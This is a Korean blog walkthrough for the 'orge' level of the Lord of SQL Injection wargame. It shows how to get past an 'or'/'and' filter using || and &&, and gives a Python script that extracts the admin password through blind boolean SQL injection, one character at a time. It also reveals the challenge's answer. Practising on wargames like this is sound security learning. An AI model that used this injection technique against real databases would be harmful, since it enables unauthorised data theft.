[Lord of SQL Injection] orge 7번 풀이
[ 문제접근 ]
if(preg_match('/or|and/i', $_GET[pw])) exit("HeHe");
1. 이번에도 위의 조건을 통해 문자 and 또는 or라는 문자가 들어갔을때 필터링을 하고 HeHe를 출력
2. if(($result['pw']) && ($result['pw'] == $_GET['pw'])) : 쿼리문 질의결과의 pw와 사용자가 입력한 pw가 같을때 solve 시켜줌, 즉 우리는 pw를 구해야한다
=> 방법 : 4번(orc) 문제를 푸는 방식과 6번(darkelf)를 풀때 사용한 방식을 응용
4번 orc : https://devdori.tistory.com/22
6번 darkelf : https://devdori.tistory.com/24?category=976370
[ 문제풀이 ]
더보기
<정답> : ?pw=7b751aec
4번(orc)을 풀때와 동일한 방식으로, 우선 pw의 길이 파악
pw의 길이가 4번(orc) 문제를 풀때와 동일하므로 그대로 진행한다
기존에 사용한 파이썬 코드를 불러와서 url 부분 수정을 진행
=> req부분을 현재 조건에 맞게 ||와 &&를 사용하여 수정하면 다음과 같은 코드가 완성된다.
import requests
url = 'https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php'
cookies = {'PHPSESSID':'r0q27p00q2hkg9d3bn1pls7chs'}
pw = ""
for i in range(1,9):
for j in range(33,123):
req = f"{url}?pw=1'||id='admin'%26%26ascii(substr(pw,{i},1)) = '{j}"
res = requests.get(req,cookies=cookies)
print(chr(j))
if res.text.find("<h2>Hello admin</h2><code>") != -1:
print(f"====={chr(j)}=====")
pw+=chr(j)
break
print(f"====(pw : {pw})====")
"ORGE Clear!" 가 나타났다! 정답!
이제 다음 스테이지로 넘어가도록 하자
'WarGame > Lord of SQL Injection' 카테고리의 다른 글
[Lord of SQL Injection] vampire 9번 풀이 (0) | 2021.10.17 |
---|---|
[Lord of SQL Injection] troll 8번 풀이 (0) | 2021.10.13 |
[Lord of SQL Injection] darkelf 6번 풀이 (0) | 2021.10.12 |
[Lord of SQL Injection] wolfman 5번 풀이 (0) | 2021.10.12 |
[Lord of SQL Injection] orc 4번 풀이 (0) | 2021.10.10 |
댓글
이 글 공유하기
다른 글
-
[Lord of SQL Injection] vampire 9번 풀이
[Lord of SQL Injection] vampire 9번 풀이
2021.10.17 -
[Lord of SQL Injection] troll 8번 풀이
[Lord of SQL Injection] troll 8번 풀이
2021.10.13 -
[Lord of SQL Injection] darkelf 6번 풀이
[Lord of SQL Injection] darkelf 6번 풀이
2021.10.12 -
[Lord of SQL Injection] wolfman 5번 풀이
[Lord of SQL Injection] wolfman 5번 풀이
2021.10.12